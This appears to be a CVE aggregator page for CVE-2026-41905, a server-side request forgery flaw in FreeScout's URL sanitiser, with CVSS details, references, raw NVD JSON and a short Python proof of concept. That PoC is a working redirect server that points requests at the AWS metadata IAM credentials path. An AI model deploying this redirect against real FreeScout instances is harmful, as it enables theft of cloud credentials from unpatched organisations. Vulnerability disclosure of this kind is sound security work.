CVE-2026-41905

Description

FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.217, Helper::sanitizeRemoteUrl() in app/Misc/Helper.php follows HTTP redirects via curlGetLastRedirectedUrl() but then re-validates the original URL instead of the final redirect destination. An attacker who can supply any URL that passes the initial host check can redirect FreeScout to internal HTTP services (cloud metadata, internal APIs, RFC1918 ranges) that would normally be blocked. This issue has been patched in version 1.8.217.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FreeScout < 1.8.217

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import http.server
import socketserver

# Simple PoC: Malicious server redirecting to internal metadata
PORT = 8000

class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Redirect to internal cloud metadata service (AWS Example)
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd:
    print(f"PoC Server running at http://0.0.0.0:{PORT}")
    print("Submit this URL to vulnerable FreeScout instance to trigger SSRF")
    httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41905
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41905
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41905/
[4] VulDB https://vuldb.com/cve/CVE-2026-41905
[5] https://github.com/freescout-help-desk/freescout/releases/tag/1.8.217
[6] https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-22wf-848c-c856
[7] https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-22wf-848c-c856

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41905", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.220", "lastModified": "2026-05-07T21:16:29.870", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.217, Helper::sanitizeRemoteUrl() in app/Misc/Helper.php follows HTTP redirects via curlGetLastRedirectedUrl() but then re-validates the original URL instead of the final redirect destination. An attacker who can supply any URL that passes the initial host check can redirect FreeScout to internal HTTP services (cloud metadata, internal APIs, RFC1918 ranges) that would normally be blocked. This issue has been patched in version 1.8.217."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.217", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-22wf-848c-c856", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-22wf-848c-c856", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}